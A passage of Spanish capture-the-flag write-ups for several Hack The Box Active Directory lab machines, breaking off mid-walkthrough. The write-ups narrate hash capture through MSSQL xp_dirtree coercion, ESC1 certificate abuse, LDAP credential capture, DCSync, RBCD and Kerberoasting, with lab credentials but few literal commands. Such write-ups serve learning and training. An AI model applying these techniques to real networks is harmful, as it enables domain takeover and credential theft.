Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".
Obtenido el hash NTLM, procederemos a validar las credenciales a través de netexec y una vez verificado que son credenciales correctas, procederemos a autenticarnos a través de evil-winrm.
Obtenemos la flag de root.txt.
Escape
es una máquina Windows Active Directory de dificultad media que comienza con un recurso compartido SMB en el que los usuarios autenticados como invitados pueden descargar un archivo PDF confidencial. Dentro del archivo PDF hay credenciales temporales disponibles para acceder a un servicio MSSQL que se ejecuta en la máquina. Un atacante puede forzar al servicio MSSQL a autenticarse en su máquina y capturar el hash. Resulta que el servicio se está ejecutando bajo una cuenta de usuario y el hash es descifrable. Con un conjunto válido de credenciales, un atacante puede ejecutar un comando en la máquina usando WinRM. Al enumerar la máquina, un archivo de registro revela las credenciales del usuario ryan.cooper
. Una enumeración adicional de la máquina revela que hay una autoridad de certificación presente y una plantilla de certificado es vulnerable al ataque ESC1, lo que significa que los usuarios que son legibles para usar esta plantilla pueden solicitar certificados para cualquier otro usuario en el dominio, incluidos los administradores de dominio. Por lo tanto, al explotar la vulnerabilidad ESC1, un atacante puede obtener un certificado válido para la cuenta de administrador y luego usarlo para obtener el hash del usuario administrador.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Escape. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta de nxc
y ldapsearch
enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo, nos responda correctamente a la dirección IP del Domain Controller.
Revisaremos si el usuario guest
(Invitado) se encuentra habilitado en el dominio. A través de nxc
logramos verificar de la existencia del usuario, con lo cual podríamos llegar a intentar enumerar el SMB con este usuario, probar de enumerar usuarios, etc.
A través de la herramienta de ridenum
trataremos de realizar un RID Cycling Attack
para lograr enumerar usuarios a través de fuerza bruta del RID. Comprobamos el resultado en el cual se muestran los diferentes nombres de usuarios existentes en el dominio.
Nos guardaremos el resultado en el archivo users.txt
. A través de expresiones regulares, nos quedaremos solamente con los nombres de usuarios correspondientes.
Dado que disponemos de una lista potencial de usuarios válidos del dominio, probaremos de realizar un AS-REP Roast Attack
para lograr obtener un Ticket Granting Ticket
(TGT
) de aquellos usuarios que tengan asignado el DONT_REQ_PREAUTH
de Kerberos.
En este caso, no logramos obtener ningún hash debido que ningún usuario tenía la flag marcada.
A través del usuario guest
(Invitado) realizaremos una enumeración de los recursos compartidos del sistema para verificar si a través de este usuario tenemos acceso algún recurso compartido.
En el resultado obtenido, verificamos que tenemos acceso al recurso compartido Public
con permisos de READ
.
Mediante el módulo de spider_plus
realizaremos una enumeración de los recursos compartidos para que se nos genere un archivo JSON
con la estructura de los archivos que se encuentran en los diferentes recursos compartidos.
Esto es bastante útil para disponer de un mapa de los recursos compartidos y así localizar de manera más eficaz aquellos archivos que sean más interesantes.
Del archivo que se nos genera a través del spider_plus
, comprobaremos el contenido de este. En el resultado se nos muestra que en los recursos compartidos del DC
solamente se encuentra un archivo llamado SQL Server Procedures.pdf
en el recurso compartido Public
.
Descargaremos este archivo a través de nxc
y lo almacenaremos con el nombre SQLServerProcedures.pdf
.
Al visualizar el contenido del PDF descargado, se comprueba que en el apartado de Bonus
se muestran credenciales de acceso a la base de datos de MSSQL
.
Dado que el servicio de MSSQL
se encuentra expuesto por el puerto 3306
, probaremos de autenticarnos con las credenciales obtenidas PublicUser/GuestUserCanWrite1
.
Comprobamos el acceso al servicio y realizamos una enumeración de las bases de datos presentes, en el cual no obtenemos ninguna base de datos que podamos extraer información útil.
Probaremos de habilitar el compontente xp_cmdshell
para tratar de obtener una vía potencial de lograr ejecutar comandos arbitrarios en el sistema. En este caso, se nos muestra que no disponemos del acceso necesario para habilitar el componente y lograr obtener finalmente el RCE
.
En este punto, lo que realizaremos es intentar abusar del componente xp_dirtree
para obtener un hash Net-NTLMv2
del usuario que ejecuta el servicio de MSSQL.
Básicamente, lo que intentaremos realizar es que el servicio de MSSQL
se intente autenticar en nuestro servidor SMB
que montaremos, para así lograr obtener el hash y posteriormente intentar crackearlo.
Desde nuestro equipo montaremos un servidor SMB
con impacket
a través del siguiente comando.
Desde el servicio de MSSQL
intentaremos listar el contenido de nuestro recurso que estamos compartiendo.
Verificamos nuevamente en nuestro servidor SMB
que hemos logrado obtener un hash Net-NTLMv2
del usuario que ha intentado autenticarse a nuestro servidor. En este caso, el usuario se trata de sql_svc
.
A través de hashcat
logramos finalmente crackear el hash del usuario mencionado.
Validaremos a través de nxc
de las credenciales obtenidas para verificar que podemos autenticarnos correctamente.
Por otro lado, probamos de verificar si teníamos capacidad de conectarnos directamente al DC
a través de WinRM
. En e resultado se nos muestra el mensaje como Pwn3d!
, con lo cual nos confirma de que podemos conectarnos remotamente al equipo con dichas credenciales.
A través de evil-winrm
comprobamos que logramos obtener acceso remoto al Domain Controller
.
Realizando una enumeración del equipo, localizamos un archivo llamado ERRORLOG.BAK
localizado en C:\SQLServer\Logs
. Este archivo quizás pueda tener información que nos pueda servir más adelante, por lo tanto nos lo descargaremos a través del comando download
que nos proporciona evil-winrm
.
Analizando el archivo ERRORLOG.BAK
logramos verificar en los logs un intento de inicio de sesión del usuario Ryan.Cooper
en el cual nos aparece las credenciales en texto plano de dicho usuario.
Verificaremos de que las credenciales son válidas para el usuario mencionado y si tenemos capacidad de conectarnos al equipo. Al comprobar el acceso, nos conectaremos al DC
y verificaremos la flag user.txt.
Realizaremos una enumeración del AD a través de la herramienta adPEAS.ps1
que es un script de Powershell (parecido a winPEAS) pero en vez de buscar malas configuraciones de Windows, hace exactamente lo mismo pero en el entorno del AD.
Nos descargaremos el script en nuestro equipo y lo compartiremos a través de un servidor web.
Desde el DC
importaremos en memoria a través de IEX
el script de adPEAS.ps1
que estamos compartiendo. Una vez lo dispongamos en memoria, ejecutaremos el Invoke-adPEAS
.
En el resultado obtenido, encontramos un servicio de Active Directory Certificate Services (AD CS) en el dominio.
Nombre de la CA: sequel-DC-CA
Hostname: dc.sequel.htb
IP: 10.10.11.202
Fecha de Creación: 18/11/2022
NTAuthCertificates: True
Plantillas disponibles:
UserAuthentication
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
UserAuthentication
Tiene el flag ENROLLEE_SUPPLIES_SUBJECT
, lo que puede permitir falsificar certificados.
El usuario sequel\sql_svc
tiene GenericAll
sobre la plantilla.
El grupo sequel\Domain Users
puede inscribirse en esta plantilla.
Extended Key Usage: Client Authentication, Secure Email, Encrypting File System.
Esto podría ser explotable para obtener certificados válidos en el dominio. Podemos profundizar con Certipy o Certify para ver si es viable.
ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.
Algunas de las posibles vulnerabilidades que puede tener ADCS son:
Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.
Lo primero de todo, para no tener problemas con el DC
, sincronizaremos la hora de nuestro equipo con la del DC
a través de ntpdate
.
Ejecutamos Certipy
con el usuario sql_svc
para buscar plantillas vulnerables, pero no encontramos ninguna con permisos explotables. Probaremos más adelante con otro usuario para ver si hay alguna plantilla explotable.
Probamos con el usuario Ryan.Cooper
y esta vez sí encontramos una plantilla vulnerable. Nos apareció la plantilla UserAuthentication
, que tiene una vulnerabilidad ESC1 porque:
Cualquier usuario del dominio puede inscribirse.
El solicitante puede definir el subject, lo que nos permite suplantar identidades.
Soporta autenticación de cliente, lo que nos puede servir para obtener acceso.
Permite exportar la clave privada, lo que facilita su uso.
La vulnerabilidad ESC1
en ADCS
permite que cualquier usuario del dominio solicite un certificado en su propio nombre y lo use para autenticarse como otro usuario con más privilegios. Esto sucede cuando una plantilla de certificados está configurada de forma insegura, permitiendo que el solicitante defina manualmente el Subject Alternative Name (SAN)
y que la clave privada sea exportable. Si la plantilla también permite la autenticación de cliente, un atacante puede obtener acceso no autorizado dentro del dominio.
Al explotar ESC1, solicitamos un certificado usando la plantilla vulnerable UserAuthentication
y configuramos el UPN como administrator@sequel.htb
. Esto nos permite autenticar como el administrador del dominio. La solicitud fue exitosa, generando un certificado que ahora podemos usar para autenticarnos. El archivo resultante, administrator.pfx
, contiene la clave privada y el certificado necesario para la autenticación.
Con el certificado generado, lo usamos para autenticarnos como Administrator
en el dominio sequel.htb
. Esto nos permitió obtener un TGT (Ticket Granting Ticket)
almacenado en un archivo ccache
(administrator.ccache
). Con este ticket, podemos usar herramientas como impacket
para autenticarnos realizando un Pass The Ticket (PtT)
. Además, conseguimos el NT hash
del administrador, lo que nos abre nuevas posibilidades de explotación dentro del dominio.
A través del TGT
obtenido previamente, nos conectamos usando wmiexec.py
con las credenciales del usuario Administrator
en el Domain Controller
de sequel.htb
. Utilizamos el siguiente comando para autenticar y obtener acceso.
Una vez conectado, verificamos el acceso con el comando whoami
, que confirmó que estamos autenticados como sequel\administrator
. Teniendo acceso al DC
, finalmente logramos visualizar la flag root.txt.
Authority
es una máquina Windows de dificultad media que resalta los peligros de las configuraciones incorrectas, la reutilización de contraseñas, el almacenamiento de credenciales en recursos compartidos y demuestra cómo las configuraciones predeterminadas en Active Directory (como la capacidad de todos los usuarios del dominio de agregar hasta 10 computadoras al dominio) se pueden combinar con otros problemas (plantillas de certificado AD CS vulnerables) para apoderarse de un dominio.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina Authority
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta de nxc
y ldapsearch
enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo, nos responda correctamente a la dirección IP del Domain Controller.
Al acceder a cualquier de las opciones presentes, se nos requiere también proporcionar credenciales válidas para acceder al PWM
. Deberemos de intentar buscar alguna vía para ver si logramos obtener credenciales de acceso o averiguar si hay otro vector de ataque.
Realizaremos una enumeración de directorios y páginas web en la página web del IIS
y no obtenemos resultado interesante. También probamos en la página del PWM
pero tampoco logramos encontrar nada interesante.
Revisaremos el servicio SMB
y comprobamos que el usuario guest
se encuentra habilitado, por lo tanto tenemos la posibilidad de recopilar información con este usuario, como verificar si dispone de acceso algún recurso compartido, realizar un ataque de RID Cycling Attack
, etc.
Comprobamos que a través del usuario guest
dispone de acceso a un recurso compartido llamado Development
, dado que dispone de permisos de READ
.
Montaremos este recurso compartido en nuestro directorio /mnt/shares
que tenemos creado en nuestro equipo local previamente.
Verificaremos que la montura a través de cifs
se ha realizado correctamente y disponemos del contenido del recurso compartido. Verificando que disponemos del recurso en local, copiaremos el directorio de manera recursvia al directorio de trabajo en el cual nos encontramos trabajando, para no tener problemas de lentitud, etc.
Accederemos al directorio Automation
y comprobaremos la estructura del recurso compartido.
Como podemos observar, la estructura del directorio Automation
está organizada en varias subcarpetas, entre ellas Ansible, LDAP, PWM, y SHARE
. Cada una de estas carpetas contiene varios archivos y subdirectorios que parecen ser parte de configuraciones relacionadas con la automatización y administración de sistemas.
Revisamos los archivos disponibles en el directorio y encontramos uno en particular dentro de Automation/Ansible/PWM/defaults
, que contiene varias cadenas cifradas con Ansible Vault. Estas cadenas están relacionadas con contraseñas y configuraciones críticas, como el usuario y contraseña del administrador de PWM y el administrador de LDAP.
Para lograr el formato adecuado de los hashes y poder crackearlos con Hashcat, hemos seguido los siguientes pasos:
Extracción del contenido: Hemos obtenido los tres hashes desde los archivos pwm_admin_login
, pwm_admin_password
, y ldap_admin_password
, los cuales estaban mal formateados debido a espacios y saltos de línea innecesarios.
Formateo adecuado: Hemos utilizado awk
y tr
para eliminar los espacios y saltos de línea, dejando los hashes en el formato correcto. Cada uno de los archivos ahora contiene solo el hash en formato continuo, como se muestra a continuación:
Para continuar con el proceso de cracking de los hashes obtenidos desde los archivos de Ansible Vault, hemos seguido los siguientes pasos:
Extracción de hashes con ansible2john
: Utilizamos el comando ansible2john
para convertir los archivos de Ansible Vault en un formato compatible con herramientas como John the Ripper o Hashcat. Esto nos permite obtener los hashes en su forma estructurada para ser crackeados.
Contenido de los hashes: El resultado de la ejecución del comando muestra los hashes extraídos de los tres archivos. A continuación, el contenido de los hashes:
Al crackear los hashes de Ansible Vault con Hashcat
, utilizando el siguiente comando:
Nos encontramos con que los tres hashes, correspondientes a pwm_admin_login, pwm_admin_password y ldap_admin_password
, fueron descifrados con la misma contraseña:
A través de la herramienta de ansible-vault
trataremos de desencriptar las credenciales de Ansible
. FInalmente, logramos obtener las credenciales del usuario PWM
y credenciales de un usuario de LDAP
.
En esta configuración, se aprecia que hay un Value stored
en el apartado de LDAP Proxy Password
, lo que siguiere que las credenciales del usuario svc_ldap
que es el que aparece en el apartado de LDAP Proxy User
se encuentran almacenadas en la configuración de PWM
.
Probamos de modificar el LDAP URLs
y comprobamos que al parecer nos permite editar la URL del servidor LDAP contra el cual se autentica este usuario con las credenciales guardadas. Por lo tanto, si tenemos permisos para editar la URL del servidor LDAP para que apunte a nuestra dirección IP, quizás podamos obtener las credenciales de la autenticación de las credenciales almacenadas.
Por lo tanto, nos pondremos en escucha por el puerto 389
que es el puerto predeterminado de LDAP
.
Editaremos la LDAP URLs
para indicar nuestro servidor LDAP ficticio de nuestro servidor.
Comprobamos que se ha logrado modificar el servidor LDAP configurado en PWM
. Le daremos a la opción de Test LDAP Profile
para comprobar si a nuestro servidor LDAP ficticio nos llega algún tipo de información, como la autenticación de las credenciales almacenadas.
Comprobamos que se ha recibido las credenciales almacenadas del usuario svc_ldap
correctamente, esto debido a que hemos logrado modificar el servidor LDAP por el nuestro propio y el usuario almacenadado en la configuración del PWM
se ha autenticado en nuestro servidor y no en el del DC.
Obtenemos el mismo resultado capturando el protocolo LDAP
a través de Wireshark
.
Verificamos que las credenciales obtenidas del usuario svc_ldap
son válidas y también que nos podemos conectar remotamente al Domain Controller.
Al acceder a través de evil-winrm
al DC, hemos logrado acceder y obtener la flag root.txt.
Debido que nos encontramos en un Domain Controller, haremos una enumeración a través de adPEAS
que es una herramienta automatizada para realizar un escaneo en Active Directory en busca de encontrar alguna de escalar privilegios.
Para ello nos descargaremos en nuestro equipo el adPEAS
y lo compartiremos a través de un servidor web.
Desde el Domain Controller, importaremos en memoria el adPEAS
y lo invocaremos para realizar el análisis.
En la enumeración con adPEAS
, identificamos que la máquina tiene Active Directory Certificate Services (ADCS)
habilitado, específicamente con la CA AUTHORITY-CA
, que está corriendo en authority.authority.htb
(IP 10.10.11.222
).
Al revisar los templates disponibles, encontramos varios, entre ellos:
CorpVPN
AuthorityLDAPS
DomainControllerAuthentication
KerberosAuthentication
User
Administrator
Y otros más...
Lo interesante es que el template CorpVPN
tiene el flag ENROLLEE_SUPPLIES_SUBJECT
, lo que indica que permite definir el Subject cuando se solicita un certificado. Además, el grupo HTB\Domain Computers tiene permisos de inscripción sobre este template.
Confirmamos la existencia de ESC1 (Enrollment Services Configuration #1)
en el servicio Active Directory Certificate Services (ADCS)
de la CA AUTHORITY-CA
.
Usando Certipy
, identificamos que el template CorpVPN
tiene configurado el flag ENROLLEE_SUPPLIES_SUBJECT
y permite autenticación de cliente (Client Authentication
). Además, el grupo HTB\Domain Computers
tiene permisos de inscripción sobre este template.
Intentamos explotar ESC1
, pero el usuario svc_ldap
no tiene permisos de inscripción (enrollment
) en el template CorpVPN
. Solo las cuentas dentro del grupo HTB\Domain Computers
pueden inscribirse y solicitar certificados con este template.
Si podemos comprometer un equipo con una cuenta de máquina (AUTHORITY.HTB\PC$
), podríamos usarla para inscribir un certificado y luego abusar de él.
Confirmamos con adPEAS
que el template CorpVPN
tiene el flag ENROLLEE_SUPPLIES_SUBJECT
, lo que permite al solicitante definir el Subject Alternative Name (SAN). Sin embargo, también verificamos que solo las cuentas dentro del grupo HTB\Domain Computers
tienen permisos de inscripción (enrollment
).
En el resultado de adPEAS
, observamos que el MachineAccountQuota
está configurado en 10, lo que significa que cualquier usuario autenticado puede agregar hasta 10 equipos al dominio.
Dado que previamente identificamos que solo los Domain Computers tienen permisos de enrollment en el template vulnerable, podemos aprovechar esta configuración para crear una cuenta de máquina controlada por nosotros y así explotar ESC1
.
A continuación, realizaremos el ESC1
enfocado a las Machine Account
que son las que disponen de permisos de enrollment
para realizar la explotación.
Para ello, el objetivo será crear un nuevo Computer
para poder realizar el ESC1
con las credenciales de la cuenta de equipo del PC que creemos. A través de la herramienta de PowerView.py
nos conectaremos mediante LDAP y crearemos un nuevo Computer
llamado Gzzcoo
con credenciales Gzzcoo123
.
Una vez tengamos el Computer
creado, verificaremos desde PowerView.py
de que el objeto se ha creado correctamente en el Active Directory.
Una vez que hemos creado una cuenta de equipo, procedemos a realizar el ESC1
utilizando sus credenciales. La solicitud de certificado se completa con éxito, obteniendo un certificado con el UPN administrator@authority.htb
, lo que nos permite autenticarnos como este usuario y escalar privilegios en el dominio.
Al intentar autenticarnos con el certificado PFX
, obtenemos un error KDC_ERR_PADATA_TYPE_NOSUPP
, lo que indica que el KDC no admite el tipo de autenticación proporcionado. Más adelante, exploraremos otras formas de autenticarnos con este certificado para intentar acceder con éxito al dominio.
Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP
, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.
Como alternativa, podemos utilizar PassTheCert
para autenticarnos a LDAP a través de SChannel
con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio
.
Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator
. Para ello, utilizamos Certipy
de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py
para autentifcarnos con el certificado obtenido.
Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. El resultado confirma que estamos autenticados como HTB\Administrator, lo que significa que podemos conectarnos vía LDAP SChannel y realizar otras acciones para intentar escalar privilegios y obtener acceso completo al sistema.
El primer método que probamos fue utilizar PassTheCert
para conectarnos a una shell de LDAP que ofrece la herramienta. Desde ahí, usamos el comando add_user_to_group
para añadir el usuario no privilegiado que teníamos previamente al grupo Domain Admins
.
El resultado confirma que el usuario svc_ldap
fue agregado con éxito al grupo Domain Admins
, lo que nos otorga privilegios elevados en el dominio.
Conectados al DC
con el usuario svc_ldap
a través de WinRM (ya que verificamos previamente que tenía permisos para hacerlo), revisamos los miembros del grupo Domain Admins y confirmamos que ahora formamos parte de él.
Aunque ya tenemos privilegios de Domain Admin, nuestro objetivo final es convertirnos en el usuario Administrator
. Para ello, exploraremos otros ataques que nos permitan obtener acceso directo a esta cuenta.
Como ahora formamos parte de Domain Admins
, tenemos permisos para realizar un ataque DCSync
, lo que nos permite extraer los hashes de las credenciales del dominio mediante secretsdump.py
.
Aquí obtenemos el NT hash del usuario Administrator
, lo que nos permitirá realizar un Pass-The-Hash
y acceder directamente con su cuenta.
Verificamos que el NT hash obtenido es válido realizando un Pass-The-Hash (PTH) con nxc, lo que nos confirma que la autenticación con el hash NTLM del usuario Administrator es correcta. Luego, utilizamos Evil-WinRM para acceder al DC con privilegios de administrador y, finalmente, verificamos el contenido de la flag root.txt.
Otro método que encontramos es asignar permisos de DCSync
a un usuario sin necesidad de añadirlo directamente al grupo Domain Admins
, lo cual puede ser una acción más evidente. Utilizamos PassTheCert
para otorgar estos permisos al usuario svc_ldap
, lo que nos permite realizar un secretsdump
posteriormente para extraer hashes de contraseñas sin necesidad de ser parte del grupo de administradores.
Con este método, le otorgamos al usuario svc_ldap
permisos para realizar un DCSync
sin necesidad de comprometer directamente a Domain Admins
, lo que lo hace menos detectable. Esto nos permitirá extraer hashes de contraseñas y realizar otras acciones de escalada de privilegios.
En este caso, usamos nxc
para realizar el dump del archivo NTDS.dit
desde el controlador de dominio. Este es otro método que aprovechamos para obtener los hashes de contraseñas del dominio. En este proceso, conseguimos hacer el dump de los hashes NTDS del controlador de dominio. Entre los resultados obtenidos, encontramos varios hashes relevantes, como los de los usuarios Administrator
, Guest
, krbtgt
, y svc_ldap
.
Con esto, podríamos emplear la técnica de PassTheHash
para autenticarnos como el usuario Administrator
con su hash NTLM.
En este caso, implementamos un ataque RBCD (Resource-based Constrained Delegation) para escalar privilegios. A través de PassTheCert, comenzamos creando un nuevo equipo dentro del dominio, lo que nos permite posteriormente aprovechar las delegaciones restringidas de recursos. Para esto, usamos el siguiente comando para añadir un equipo al dominio y asignarle una contraseña:
Este comando añadió con éxito una cuenta de máquina llamada rbcd_gzzcoo$ al dominio authority.htb, lo cual es el primer paso en la explotación de la delegación de recursos. El siguiente paso sería configurar la delegación para que esta máquina pueda ser utilizada en el ataque RBCD, lo que nos permitiría acceder a los recursos del dominio o a los servicios delegados con mayores privilegios.
El siguiente paso en la explotación de Resource-based Constrained Delegation (RBCD)
consiste en configurar correctamente los permisos de delegación para que la máquina rbcd_gzzcoo$
pueda actuar en nombre de los usuarios de la máquina AUTHORITY$
.
Con este comando, hemos configurado rbcd_gzzcoo$
para que pueda actuar en nombre de los usuarios en AUTHORITY$
mediante el protocolo S4U2Proxy
. Esto significa que ahora la máquina rbcd_gzzcoo$
tiene permisos para suplantar identidades de los usuarios de AUTHORITY$
, lo que nos proporciona un vector para escalar privilegios aún más.
Al permitir que rbcd_gzzcoo$
actúe en nombre de AUTHORITY$
, tenemos acceso a las credenciales y recursos protegidos por las políticas de delegación en la máquina AUTHORITY$
. Esto abre la puerta a la obtención de privilegios elevados y al acceso a más recursos dentro del dominio.
Después de configurar la delegación RBCD correctamente, utilizamos impacket-getST
para obtener el Ticket Granting Ticket (TGT)
del usuario Administrator
y luego lo usamos para suplantarlo. Ejecutamos el siguiente comando para obtener el ticket y realizar la suplantación mediante S4U2Proxy
.
Este proceso genera el ticket Kerberos necesario y lo guarda en el archivo Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache
. A continuación, usamos el ticket para ejecutar un comando wmiexec.py
y obtener acceso remoto a la máquina AUTHORITY
.
Esto nos otorga acceso con privilegios de htb\administrator
. Al ejecutar whoami
, verificamos que hemos conseguido los permisos de Administrator
. También usamos el comando ipconfig
para obtener detalles de la red, confirmando que la máquina AUTHORITY
tiene la IP 10.10.11.222
.
Con esto, logramos una escalada de privilegios exitosa utilizando RBCD
a través de PassTheCert
y Kerberos.
Active
es una máquina de dificultad fácil a media, que presenta dos técnicas muy frecuentes para obtener privilegios dentro de un entorno de Active Directory.
Realizaremos un escaneo sobre los puertos abiertos de la máquina Active.
Lanzaremos unos scripts con Nmap para intenter ver vulnerabilidades y versiones sobre los puertos abiertos encontrados.
Comprobaremos el nombre del domninio a través del siguiente comando
Añadiremos en nuestro archivo /etc/hosts la dirección IP de Active y el dominio
Procederemos a la enumeración de SMB a través de enum4linux para ver que encontramos. Vemos que sin usuario podemos acceder a los recursos IPC$ y Replication.
Procederemos a acceder al recurso compartido "Replication" sin usuario, y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.
Comprobaremos que tenemos un archivo .xml que pertenece a una política y se trata de la información de un usuario del Active Directory y un campo "cpasswd" que está encriptado utilizando una clave conocida, que es parte de la configuración predeterminada de la Política de Preferencias de Grupo de Windows (GPP).
Para desencriptarlo podemos hacer uso de gpp-decrypt o impacket-Get-GPPPassword.
Comprobaremos a través de netexec de que podemos acceder con el usuario encontrado y su respectiva credencial. Comprobamos además de que tiene acceso al recurso compartido "Users".
Procederemos a conectarnos al SMB con estas nuevas credenciales y nos descargaremos el archivo "user.txt" que es la primera flag.
Comprobaremos el contenido de la flag de user.txt
"Procederemos a realizar un ataque de Kerberoasting en busca de servicios en el dominio active.htb que estén vinculados a cuentas de usuario. El objetivo es obtener tickets de servicio Kerberos (TGS) asociados a estos servicios, los cuales podrán ser crackeados offline para intentar revelar las contraseñas de las cuentas de servicio."
Obtenemos el hash Krb5 del usuario "Administrator".
Guardaremos el hash en un archivo de texto
Procederemos a realizar ataque de fuerza bruta a través de un diccionario para desencriptar el hash encontrado. Finalmente hemos obtenido la contraseña.
Comprobamos que podemos acceder con usuario "Administrator" y encontrar su correspondiente flag de root.txt
Jab
es una máquina Windows de dificultad media que cuenta con un servidor XMPP Openfire
alojado en un controlador de dominio (DC). El registro público en el servidor XMPP
permite al usuario registrar una cuenta. Luego, al recuperar una lista de todos los usuarios del dominio, se encuentra una cuenta kerberoastable, que permite al atacante descifrar el hash recuperado para la contraseña del usuario. Al visitar las salas de chat XMPP de la cuenta, se recupera la contraseña de otra cuenta.
Esta nueva cuenta tiene privilegios DCOM
sobre el DC, lo que otorga al atacante acceso local a la máquina. Finalmente, un complemento malicioso cargado a través del panel de administración de Openfire
alojado localmente le otorga al usuario acceso al SISTEMA
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Jab.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Procederemos a intentar enumerar a través de la herramienta de NSrpcenum que nos otorga la capacidad de a través de una null session de enumerar por el protocolo RPC.
Probaremos de visualizar los recursos compartidos que hay en SMB, nos encontramos que no nos permite visualizarlos.
También probaremos de realizar un ataque de RID Brute Force Attack para enumerar usuarios, sin éxito tampoco.
A través de la herramienta de Kerbrute hemos podido enumerar una gran cantidad de usuarios, pero veremos si podemos enumerar los usuarios de otra manera más delante.
XMPP (Extensible Messaging and Presence Protocol) es un protocolo abierto de comunicación en tiempo real, ideal para la mensajería instantánea, y es la base de servicios como Jabber. Es súper útil porque permite a los usuarios enviarse mensajes, realizar llamadas de voz y video, e incluso compartir archivos, todo de una manera segura y privada. A diferencia de otros servicios de mensajería más centralizados, XMPP es descentralizado y permite que cualquiera pueda crear su propio servido
Para conectarnos al XMPP/Jabber utilizaremos el cliente llamado Pidgin que nos permite crear una cuenta en el servidor si no disponemos de credenciales válidas. Indicaremos nuestro nombre de usuario y el dominio (jab.htb).
En el apartado de "Avanzadas" estableceremos la dirección IP del Domain Controller, es decir, el servidor de Jab, dejaremos el puerto por defecto que es el que se encuentra expuesto el servicio de XMPP/Jabber
Aceptaremos el certificado del servidor.
Completaremos el registro de nuestro usuario que hemos creado.
Verificaremos que el registro se ha realizado con éxito con el usuario que hemos creado.
En Pidgin accederemos a (Cuentas < Habilitar cuenta < usuario).
Buscaremos nuevas salas disponibles en nuestro usuario de Pidgin. Nos hace referencia a (conference.jab.htb)
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
Probaremos de acceder a la lista "test" y nos aparece un error al intentar unirnos a la sala.
Accediendo a la sala "test2" comprobamos que aparece un chat con un código en Base64.
Probaremos a descodificar el contenido, pero no vemos nada interesante.
El usuario del chat se llama "bdavis", podemos validar si este usuario es válido a través de Kerbrute.
Entre las opciones que nos ofrece Pidgin, nos aparece la opción de "Buscar usuarios".
Nos indica de seleccionar un directorio de usuario donde buscar (search.jab.htb).
Añadiremos la nueva entrada en /etc/hosts
Volveremos a la ventana de Pidgin, y estableceremos que busque todos los resultados a través de un (*)
Comprobaremos que nos aparece todo el listado de usuarios del dominio.
Como no podemos copiar los usuarios del Pidgin y tendríamos que ir uno por uno, realizaremos lo siguiente.
Ejecutaremos Pidgin en modo debug en nuestra Kali y todo el resultado lo guardaremos en "debug.txt".
Comprobamos que si volvemos a realizar el mismo proceso des de la aplicación, nos aparece en el debug todo el resultado de los usuarios encontrados.
A través de expresiones regulares (regex) nos quedaremos con los nombres de los usuarios y lo guardaremos en el archivo "users.txt".
Ya que tenemos una gran lista de usuarios válidos, probaremos de realizar un AS-REP Roasting Attack para obtener un Ticket Granting Ticket (TGT).
Comprobaremos los tickets TGTs que hemos encontrado y con john procederemos a crackear las contraseñas de los hashes.
Validaremos las credenciales válidas con netexec para autenticarnos en SMB y WinRM.
Ya que tenemos unas credenciales válidas, probaremos de realizar un Kerberoasting Attack para obtener un Ticket Granting Service (TGS).
Probaremos de enumerar el SMB con las credenciales del usuario (jmontgomery) y a través del módulo (spider_plus), este módulo lo que hace es guardarte en formato JSON todas las rutas de los archivos que se encuentran en el SMB, para así saber donde hay archivos y ir directamente luego a por ellos.
Comprobaremos accediendo al contenido temporal JSON que nos crea el módulo de los archivos que se encuentran en el SMB y sus respectivas rutas. Ninguno de los presentes nos interesa.
Probaremos de acceder con las credenciales de (jmontgomery) al XMPP a través del cliente Pidgin.
Indicaremos la dirección IP del servidor de jab.htb
